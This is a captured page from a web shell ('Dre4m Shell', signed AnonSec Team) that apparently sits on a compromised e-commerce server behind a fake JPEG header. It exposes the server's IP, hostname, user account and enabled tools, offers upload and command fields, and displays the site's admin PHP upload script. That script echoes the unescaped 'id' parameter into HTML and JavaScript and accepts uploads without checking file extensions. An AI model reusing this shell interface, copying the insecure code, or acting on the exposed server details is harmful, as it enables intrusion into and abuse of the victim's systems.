ÿØÿàJFIF``ÿþxØ Dre4m Was Here
Dre4m Shell
Server IP : 109.234.164.53  /  Your IP : 216.73.216.110
Web Server : Apache
System : Linux cervelle.o2switch.net 4.18.0-553.32.1.lve.el8.x86_64 #1 SMP Thu Dec 19 13:14:03 UTC 2024 x86_64
User : computer3 ( 1098)
PHP Version : 7.1.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/computer3/vracandbio.com/cp-admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/computer3/vracandbio.com/cp-admin/add_product_pictures.php
<?php

include_once('includes/header.php');

if(isset($_FILES['files']))
{
	$files = array();
	foreach ($_FILES['files'] as $k => $l) {
		foreach ($l as $i => $v) {
		if (!array_key_exists($i, $files))
			$files[$i] = array();
			$files[$i][$k] = $v;
		}
	}      

	foreach ($files as $file) {
		// Enregistrement des images sur le serveur
	  $desired_dir="../uploadfiles/products/";

    $file_name = str_replace(array(' ', '-'), array('_','_'), $file['name']);
    $file_name = explode('.', $file_name);
    $ext = array_pop($file_name);
    $file_name = implode('.', $file_name);

    if(file_exists($desired_dir . $file_name . '.' . $ext))
    {
      $file_name .= time();
    }

	  $result = upload_image($file, array('file_name'=>$file_name, 'file_path'=>$desired_dir, 'image_ratio_pixels'=>1500000, 'max_file_size'=>4000000));
	  clone_pictures(array('source_file_full_path'=>$desired_dir.$result['file_name'], 'destination_folder'=>$desired_dir.'mini/', 'image_ratio_pixels'=>10000));

    $file_name .= '.' . $ext;

	  $qid = $bdd->prepare("INSERT INTO " . $GLOBALS['db_table']['products_pictures'] . " (id_product, picture) VALUES (:id_product, :picture)");

	  $qid->execute(array(  
	    'id_product' => $_GET['id'],
	    'picture' => $file_name
  	));
	}

  echo '<script>';
  echo 'window.location = "product_pictures.php?id=' . $_GET['id']. '"';
  echo '</script>';
}

?>

<div class="container">
    <div class="row">
    	<div class="span12">
        	<div class="page-header">
           	 	<h1>Ajouter Photo(s)
           	 		<div class="pull-right">
            			<a href="product_pictures.php?id=<?php echo $_GET['id']; ?>" class="btn btn-primary"><i class="icon-arrow-left"></i> Retour</a>
        			</div>
        		</h1>
          	</div>
        </div>
    </div>
    <form action="#" method="POST" enctype="multipart/form-data">
        <div class="well general" style="margin-top:0">
            <div class="control-group">
                <input type="file" name="files[]" multiple/>
            </div>
        </div>
        <div class="form-actions">
            <div class="btn-group">
                <button type="submit" class="btn btn-success"><i class="icon-ok"></i> Enregistrer</button>
            </div>
       	</div>
    </form>
</div>

<?php
include_once('includes/footer.php');
?>

Anon7 - 2022
AnonSec Team